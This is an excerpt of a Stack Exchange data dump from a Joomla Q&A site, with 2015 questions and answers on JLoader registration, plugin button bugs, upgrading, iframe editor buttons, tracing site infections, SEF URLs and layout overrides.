  <row Id="13821" PostTypeId="1" AcceptedAnswerId="13829" CreationDate="2015-10-01T11:57:02.273" Score="1" ViewCount="58" Body="&lt;p&gt;I'm currently using the following to load &lt;code&gt;JLog&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.log.log');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to make use of &lt;code&gt;JLoader&lt;/code&gt;, however I'm unsure as to which file I need to register. Would I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JLog', JPATH_LIBRARIES . '/joomla/log/log.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JLogger', JPATH_LIBRARIES . '/joomla/log/logger.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or both?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-02T06:34:12.793" Title="JLoader for JLog" Tags="|joomla-3.x|error-handling|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13823" PostTypeId="1" CreationDate="2015-10-01T13:11:25.170" Score="0" ViewCount="258" Body="&lt;p&gt;Over the past few months we have been developing a new Joomla site (3.4.3). The first initial install was on a linux host, using the &lt;a href=&quot;https://www.google.com/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CB0QFjAAahUKEwiL1_ilqqHIAhWTtoAKHaOCA6M&amp;amp;url=http%3A%2F%2Fthemeforest.net%2Fitem%2Feffortless-multipurpose-joomla-template%2F7645155&amp;amp;usg=AFQjCNFS_v1XbYdkHxOgrOlcJbwwZLlcBQ&amp;amp;sig2=QFiLfykEOWqShr8eVHIAIg&amp;amp;bvm=bv.104226188,d.dmo&quot; rel=&quot;nofollow&quot;&gt;Effortless template&lt;/a&gt; and everything was going fine. Now that we're done working with the other developer, we're moving the site back to our host (Windows-based). We used Akeeba backup and have everything transferred over, but now we're experiencing issues with our shortcode buttons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing was changed in the process of the migration, but now the original buttons that were created on the first version (two sets of buttons per item, one grey/blue hover, one blue/grey hover) are all out of whack. At times, on page refreshes, the buttons would randomly change color. The temporary visual fix was to just CSS hack them to be all grey while we wait for the developer (on vacation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've noticed that when we create the buttons via the shortcode generator modal box, and inspect the source, they have the same a id=.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the shortcode generates via the plugin (all well and good)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;[button url=&quot;http://www.yahoo.com&quot; color=&quot;#ffffff&quot; background=&quot;#195eaa&quot; radius=&quot;0px&quot; icon=&quot;icon: info-circle&quot; icon_color=&quot;#195eaa&quot;]Yahoo[/button]&lt;/li&gt;&#xA;&lt;li&gt;[button url=&quot;http://www.google.com&quot; color=&quot;#195eaa&quot; background=&quot;#efefef&quot; background_hover=&quot;#195eaa&quot; radius=&quot;0px&quot; icon=&quot;icon: info-circle&quot; icon_color=&quot;#195eaa&quot;]Google[/button]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Which you can see creates the different color versions, yet inspecting the source reveals both buttons have the same a id&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a id=&quot;subtn_560d2d5a40678&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm assuming this is the major cause of the problem. It was suggested that we downgrade our php version to 5.4 (we WERE on 5.6), but tried 5.4.x and 5.5.x as well and that didn't make any progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any possible insight? We have support tickets in with the developer, but who knows if/when we will get a fix to this. We are fairly new to Joomla (at least as far as troubleshooting is concerned) and don't know what else we could possibly try as a fix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any insight you can provide!&lt;/p&gt;&#xA;" OwnerUserId="7035" LastActivityDate="2015-10-01T13:11:25.170" Title="Joomla Shortcode Ultimate plugin duplicating link ID's when creating button" Tags="|joomla-3.4|extensions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="1" CreationDate="2015-10-01T19:47:54.527" Score="0" ViewCount="56" Body="&lt;p&gt;I have fairly large 50 page web site built on Joomla 2.5 which I want to upgrade to 3.4 to enhance security. Our web developer states that the change from 2.5 to 3.4 requires the site to practically be rebuilt and it is not an easy click over as from 2.5 to 3.1 .  Does 30 hours to convert sound right?&lt;/p&gt;&#xA;" OwnerUserId="7036" LastActivityDate="2015-10-01T20:06:18.797" Title="Difficulty in upgrading 2.5 to 3.4" Tags="|upgrade|" AnswerCount="1" CommentCount="2" ClosedDate="2015-10-02T10:07:38.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="13826" PostTypeId="2" ParentId="13825" CreationDate="2015-10-01T20:06:18.797" Score="1" Body="&lt;p&gt;How long's a piece of string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of factors you need to take into consideration, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many extensions are you using?&lt;/li&gt;&#xA;&lt;li&gt;Are the extensions you're using Joomla 3.x compatible?&lt;/li&gt;&#xA;&lt;li&gt;Do you have any custom build extensions that are using deprecated code?&lt;/li&gt;&#xA;&lt;li&gt;How  experienced is your developer with Joomla?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Due to the factors, nobody here can give you even a rough estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest taking a copy of your Joomla 2.5 site, put it on either a sub-domain or local-host, perform the migration to 3.x, then go through each extensions individually to ensure they work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd better hope your developer did not start editing core Joomla file or did not follow Joomla coding standards/methods, else it will increase that time by quite a substantial amount&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-10-01T20:06:18.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13827" PostTypeId="1" CreationDate="2015-10-01T21:13:17.307" Score="2" ViewCount="342" Body="&lt;p&gt;I am developing a custom button to integrate with an external commercial publishing software. My button base works and some how the iframe is called onto my test web site where the external App and Joomla are both installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be specific my button has a link, which is fired in an iFrame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'http://somehost.com/application_dir/widgets/selection?';&#xA;&#xA;$button = new JObject();&#xA;$button-&amp;gt;set('modal', true);&#xA;$button-&amp;gt;set('class', 'btn');&#xA;$button-&amp;gt;set('link', $link);&#xA;$button-&amp;gt;set('text', JText::_('PLG_CANDAMFOTOWEB8_SIGEBUTTONTEXT'));&#xA;$button-&amp;gt;set('name', 'wand');&#xA;&#xA;$button-&amp;gt;set('options', &quot;{handler: 'iframe', size: {x: 600, y: &quot;.$height_modal.&quot;}}&quot;);&#xA;$button-&amp;gt;onclick = 'CandamFW8BtnClick(\''.$name.'\'); return false;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue here is that in the back-end, joomla Editor adds the &lt;code&gt;JURI::base()&lt;/code&gt; to the link, so that the iframe address becomes:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localhost/joomla/administrator/http://somehost.com/application_dir/widgets/selection&quot; rel=&quot;nofollow&quot;&gt;http://localhost/joomla/administrator/http://somehost.com/application_dir/widgets/selection&lt;/a&gt;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to override the href generated once the button is displayed (an &lt;code&gt;afterDisplay&lt;/code&gt; event may be) right this code sits in the &lt;code&gt;onDisplay()&lt;/code&gt; event...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of using a php proxy which in turn would call an external iframe, but it does not help, since &lt;code&gt;JURI::base(&lt;/code&gt; still returns the &lt;code&gt;site/administrator&lt;/code&gt; path and my php proxy has to sit in the &lt;code&gt;site/plugins/pluginname/&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could work?&lt;/p&gt;&#xA;" OwnerUserId="7037" LastEditorUserId="3944" LastEditDate="2015-10-02T07:14:11.753" LastActivityDate="2015-11-04T19:10:37.890" Title="Editor-xtd custom button with external Iframe Call" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13828" PostTypeId="1" CreationDate="2015-10-02T03:14:52.250" Score="0" ViewCount="194" Body="&lt;p&gt;After several infections on Joomla we have decided to change to static content (it will require less administration time, and we just change one page per day).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we would like to know how Joomla could be attacked so easily. Here I will explain a summary of the changes we unsuccessfully did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; we already checked basics and read many Joomla community followers defending its safety.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an easy way to have Joomla really safe from attack penetrations? Any way to know for sure which the last vulnerability was?&lt;/strong&gt; provided that we improve the installation infection after infection until we have something really lasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, we are not asking for basics. There is a lot of information over there (repeating information). The installed plugins were minimum, popular and maintained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Usage history&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We began with a Spanish adapted version 2.5.X . First problems arouse (infections) because update dependencies with that distro would not allow an update from the main source of Joomla. The installed version was 2.5.9 and it was already released the version 2.5.28&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: first infections seemed to come from the template ('seemed', because I am not an expert of Joomla).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting a proper update to 2.5.28 (last version for 2.5), it was infected again. So we updated to 3.X last version with PDO, preserving only the template (made time before with a free version of some software to make Joomla and Wordpress templates), and installing plugins available for 3.X PDO.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The week that 3.4 was released (if I remember well), it got infected again. This was the drop that spilled the glass. After restoring the backup and updating to the last version, it were added some functionalities such as, double password for the administrator, admin panel forced by https and cached webpages to reduce probability to get infected (I do not know if this last strategy is really effective).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, we wanted to generate a completely static webpage extracting it from Joomla configuration, but I did not find any tool to do so (generate static content from the Admin Panel after every change, and never allow dynamic content to be executed, except for the administration panel)... Finally I installed a cache component (with the limitations it entails in that sense).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last two infections were in two weeks of difference. At the second one, spam was sent by using system-domain-user@infected-domain.tld (with sendmail, not with authenticated email addresses). So they figured out the apache user and owner of the files at infected-domain.tld . The mail logs increased so significantly that the server went out of disk memory. The server configuration to reject sendmail for forged source email accounts did not work (look &lt;a href=&quot;https://serverfault.com/questions/667268/postfix-2-9-or-sendmail-outgoing-spam-prevention-check-if-sender-exists/703017#703017&quot;&gt;here, first answer&lt;/a&gt;, to know how header_checks was configured)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We guess that the problem comes from the template. But, how to be sure of that. &lt;strong&gt;Every time there is an infection, how can you know where it started? which was the source of the problem?&lt;/strong&gt; It is like going blind. You just can try some basics to make it safer and hope for updates solving it.&lt;/p&gt;&#xA;" OwnerUserId="7039" LastEditorUserId="-1" LastEditDate="2017-04-13T12:14:48.550" LastActivityDate="2015-10-02T19:46:32.227" Title="Joomla and security: detect vulnerability after infection" Tags="|templates|security|" AnswerCount="1" CommentCount="4" ClosedDate="2015-10-05T13:11:50.720" ContentLicense="CC BY-SA 3.0" />
  <row Id="13829" PostTypeId="2" ParentId="13821" CreationDate="2015-10-02T06:34:12.793" Score="2" Body="&lt;p&gt;You will need only this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('JLog', JPATH_LIBRARIES . '/joomla/log/log.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the main class for logging.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-10-02T06:34:12.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13830" PostTypeId="1" AcceptedAnswerId="13892" CreationDate="2015-10-02T08:43:40.697" Score="1" ViewCount="47" Body="&lt;p&gt;I noticed insane amount of queries on homepage for &lt;code&gt;XXX_contentitem_tag_map&lt;/code&gt;. I actually don't display tags on homepage, since I've 100 articles on homepage - selecting tags for each article slows everything down considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed in &lt;code&gt;ContentModelArticles&lt;/code&gt; class, method &lt;code&gt;getItems&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P3mqM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3mqM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to disable this everywhere except on article page where I actually display tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerDisplayName="user6981" LastActivityDate="2015-10-09T13:17:15.370" Title="Joomla expensive tag queries on homepage" Tags="|joomla-3.x|database|tags|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13832" PostTypeId="1" CreationDate="2015-10-02T13:28:28.320" Score="2" ViewCount="829" Body="&lt;p&gt;I'm using the following theme based on helix3 framework and I'm encountering some issues on the positioning of the main content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a row with 2 columns, the one the side is fine because it's a normal column and I can stack modules inside of it, the main content column instead gives me issues because the position is called &quot;component&quot; in the template layout, and I cannot add additionals modules to it (apart from the main content module that you choose when making the menu entry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could add another row with the same column layout but it wouldn't stack with the previous column if the heights of the 2 previous columns are not equal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the template&#xA;&lt;a href=&quot;https://i.stack.imgur.com/iplUO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iplUO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add content under &quot;column 1&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the layout&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OSwoe.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSwoe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7041" LastEditorUserId="3650" LastEditDate="2016-03-08T00:46:05.330" LastActivityDate="2017-05-03T08:43:48.030" Title="Module positioning layout" Tags="|content|layout|positions|module-style|helix3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="2" ParentId="13828" CreationDate="2015-10-02T19:46:32.227" Score="2" Body="&lt;p&gt;You can keep your Joomla secure following good practices. Please check the following documentation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Security_Checklist&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Security_Checklist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Hosting_and_Server_Setup&quot; rel=&quot;nofollow&quot;&gt;Security Checklist/Hosting and Server Setup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Where_can_you_learn_more_about_file_permissions%3F&quot; rel=&quot;nofollow&quot;&gt;Security Checklist/Where can you learn more about file permissions?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Testing_and_Development&quot; rel=&quot;nofollow&quot;&gt;Security Checklist/Testing and Development&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Joomla!_Setup&quot; rel=&quot;nofollow&quot;&gt;Security Checklist/Joomla! Setup&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/Site_Administration&quot; rel=&quot;nofollow&quot;&gt;Security Checklist/Site Administration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-10-02T19:46:32.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="1" AcceptedAnswerId="13851" CreationDate="2015-10-02T21:32:06.193" Score="1" ViewCount="439" Body="&lt;p&gt;Non SEF URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/index.php?option=com_yourcomponent&amp;amp;view=article&amp;amp;id=20&amp;amp;Itemid=50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SEF URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/example-menu-item/20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create SEF without the value 20 in the URL.  We believe having 20 in the URL exposes the primary key of the record.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-10-04T21:53:10.603" Title="SEF URL using router without id in the URL" Tags="|joomla-3.x|sef|jroute|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13839" PostTypeId="2" ParentId="13838" CreationDate="2015-10-02T22:56:27.820" Score="0" Body="&lt;p&gt;You can use Joomla Rewriting and .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System &gt;&gt; Global Configuration &gt;&gt; Use URL Rewriting YES;&#xA;Rename htaccess.txt to .htaccess in your root folder;&#xA;Implement in your .htaccess file one rule like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Mod_rewrite&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^[0-9]/(.*)$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see complete explanation how rewrite works here: &lt;a href=&quot;http://httpd.apache.org/docs/2.0/misc/rewriteguide.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.0/misc/rewriteguide.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="5617" LastEditDate="2015-10-03T01:34:28.717" LastActivityDate="2015-10-03T01:34:28.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="1" CreationDate="2015-10-03T11:45:19.693" Score="0" ViewCount="869" Body="&lt;p&gt;I have a menu using IFrame Wrapper so that I can link to my own coded php page. &#xA;Inside the php file is just listing down the data on table and I have search box so that user can filter the data onkeyup.&#xA;The javascript works if I put the javascript inside the html.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;function doSearch() {&#xA;var searchtext = document.getElementById('searchTerm').value;&#xA;var targetTable = document.getElementById('table');&#xA;var targetTableColCount;&#xA;&#xA;//Loop through table rows&#xA;for (var rowIndex = 0; rowIndex &amp;lt; targetTable.rows.length; rowIndex++) {&#xA;    var rowData = '';&#xA;&#xA;    //Get column count from header row&#xA;    if (rowIndex == 0) {&#xA;       targetTableColCount = targetTable.rows.item(rowIndex).cells.length;&#xA;       continue; //do not execute further code for header row.&#xA;    }&#xA;&#xA;    //Process data rows. (rowIndex &amp;gt;= 1)&#xA;    for (var colIndex = 0; colIndex &amp;lt; targetTableColCount; colIndex++) {&#xA;        rowData += targetTable.rows.item(rowIndex).cells.item(colIndex).textContent;&#xA;    }&#xA;&#xA;    //If search term is not found in row data&#xA;    //then hide the row, else show&#xA;    if (rowData.indexOf(searchtext) == -1)&#xA;        targetTable.rows.item(rowIndex).style.display = 'none';&#xA;    else&#xA;        targetTable.rows.item(rowIndex).style.display = 'table-row';&#xA;   }&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;form name=&quot;searchbox&quot; id=&quot;searchbox&quot; method=&quot;POST&quot; action=&quot;#&quot;&amp;gt;&#xA; &amp;lt;input type=&quot;text&quot; id=&quot;searchTerm&quot; placeholder=&quot; search..&quot; onkeyup=&quot;doSearch()&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;?php&#xA; if(empty($folderlist))&#xA;  {&#xA;   echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;   echo &quot;&amp;lt;p style='color:red;'&amp;gt;You don't have any acccessible folders.&amp;lt;/p&amp;gt;&quot;;&#xA;  }&#xA; else {&#xA; ?&amp;gt;&#xA;&amp;lt;table id=&quot;table&quot;&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;No. &amp;lt;/th&amp;gt;&#xA;    &amp;lt;th&amp;gt;Folders &amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;&amp;lt;?php for($a = 0; $a &amp;lt; count($folderlist); $a++){ ?&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;    &amp;lt;?php echo $a+1; ?&amp;gt;.&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;a href=&quot;index.php?option=com_content&amp;amp;view=article&amp;amp;&amp;lt;?php echo $folderlist[$a]-&amp;gt;getPath(); ?&amp;gt;&quot; target=&quot;_top&quot; &amp;gt;&amp;lt;?php echo $folderlist[$a]-&amp;gt;getDesc(); ?&amp;gt;&amp;lt;a&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tbody&amp;gt;&#xA;  &amp;lt;?php }&#xA; echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA; }&#xA;?&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want to use external filter.js with the same javascript code instead of using internal js file like html file above. I declare below code on top of the html file but it does not work. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  define( '_JEXEC', 1 );&#xA;  define('JPATH_BASE', dirname(__FILE__) );//this is when we are in the root&#xA;  define( 'DS', DIRECTORY_SEPARATOR );&#xA;  require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;  require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;  $mainframe =&amp;amp; JFactory::getApplication('site');&#xA;  $mainframe-&amp;gt;initialise();&#xA;  $doc = JFactory::getDocument();&#xA;  $doc-&amp;gt;addScript(JURI::root().'filter.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put the filter.js on the root folder in joomla. &lt;/p&gt;&#xA;" OwnerUserId="5613" LastActivityDate="2015-10-04T16:53:25.867" Title="Get external javascript file to work in joomla" Tags="|joomla-2.5|javascript|jfactory|external-script|wrapper|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13843" PostTypeId="2" ParentId="13832" CreationDate="2015-10-03T17:52:31.290" Score="1" Body="&lt;p&gt;In your imgae, the next position on bottom for your &quot;content&quot; was in &quot;Lower Body&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you try add your content in &quot;Lower Body Position&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DY6Dl.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DY6Dl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5617" LastActivityDate="2015-10-03T17:52:31.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="1" CreationDate="2015-10-04T08:59:26.643" Score="0" ViewCount="276" Body="&lt;p&gt;I'm creating a layout override for the category layout where I need to list the articles in a 2 column table:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------+------------+&#xA;|           |            |&#xA;|   item 1  |   item 2   |&#xA;|           |            |&#xA;+-----------+------------+&#xA;|           |            |&#xA;|   item 3  |   item 4   |&#xA;|           |            |&#xA;+-----------+------------+&#xA;        ...etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the articles are showing up duplicated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------+------------+&#xA;|           |            |&#xA;|   item 1  |   item 1   |&#xA;|           |            |&#xA;+-----------+------------+&#xA;|           |            |&#xA;|   item 2  |   item 2   |&#xA;|           |            |&#xA;+-----------+------------+&#xA;        ...etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to increment the item# in the loop to make it show 2 items per row. here is the code I'm dealing with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;intro_items)) : ?&amp;gt;&#xA;                &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;600&quot; border=&quot;0&quot; style=&quot;width: 580px !important;&quot;&amp;gt;&#xA;                    &amp;lt;?php foreach ($this-&amp;gt;intro_items as $key =&amp;gt; &amp;amp;$item) : ?&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        $key= ($key-$leadingcount)+1;&#xA;                        $rowcount=( ((int)$key-1) % (int) $this-&amp;gt;columns) +1;&#xA;                        $row = $counter / $this-&amp;gt;columns ;&#xA;&#xA;                        if ($rowcount==1) : ?&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;td class=&quot;item column-&amp;lt;?php echo $rowcount;?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            $this-&amp;gt;item = &amp;amp;$item;&#xA;                            echo $this-&amp;gt;loadTemplate('item');&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td width=&quot;20&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td class=&quot;item column-&amp;lt;?php echo $rowcount;?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php&#xA;                            $this-&amp;gt;item = &amp;amp;$item;&#xA;                            echo $this-&amp;gt;loadTemplate('item');&#xA;                        ?&amp;gt;&#xA;                        &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                        &amp;lt;?php if (($rowcount == $this-&amp;gt;columns) or ($counter ==$introcount)): ?&amp;gt;&#xA;&#xA;                        &amp;lt;?php endif; ?&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/table&amp;gt;&#xA;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7046" LastActivityDate="2015-10-04T21:42:34.610" Title="How do I increment the item variable by one in the category layout" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
